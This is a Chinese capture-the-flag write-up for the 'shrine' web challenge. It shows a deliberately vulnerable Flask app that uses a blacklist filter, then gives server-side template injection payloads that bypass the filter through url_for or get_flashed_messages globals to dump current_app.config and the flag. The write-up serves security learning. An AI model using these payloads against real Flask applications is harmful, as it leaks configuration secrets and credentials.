攻防世界web进阶区shrine详解

题目

很明显给了一堆代码，我们将它整理一下

import flask
import os

app = flask.Flask(__name__)

app.config['FLAG'] = os.environ.pop('FLAG')

@app.route('/')
def index():
    return open(__file__).read()\

@app.route('/shrine/')
def shrine(shrine):
   
   def safe_jinja(s):
       s = s.replace('(', '').replace(')', '')
       blacklist = ['config', 'self']
       return ''.join(['{{% set {}=None%}}'.format(c)for c in blacklist]) + s
       return flask.render_template_string(safe_jinja(shrine))
if __name__ == '__main__':
    app.run(debug=True)

详解

我们发现他是一个flask框架，这里我们猜测他是ssti注入，（模板注入）
我们使用tplmap试试

./tplmap.py -u ‘xxxxxx’

发现不行，

然后发现这里有两个路径，我们访问试试，并测试测试模板注入

我们发现，他存在模板注入

同时，他将config和self当成了黑名单 而flag在config文件里
如果没有黑名单的时候，我们可以传入 config，或者传入{{self.dict}}获取，但当这些被过滤的时候，我们需要借助一些全局变量利用沙盒逃逸的方法，来调用被禁用的函数对象。

current_app,这是全局变量代理，查看他的config即可

我们输入的值首先被传到了safe_jinja函数，然后由flask.render_template_string进行渲染
传入的（ ）都会被置换为空

我们写payload

{{url_for.__globals__['current_app'].config}}

获取全局变量的config

那么我们看看官方的wp

{{get_flashed_messages.__globals__['current_app'].config['FLAG']}}

获取全局文本，current_app的config里面的flag

详细的模板注入
见这里
https://zhuanlan.zhihu.com/p/93746437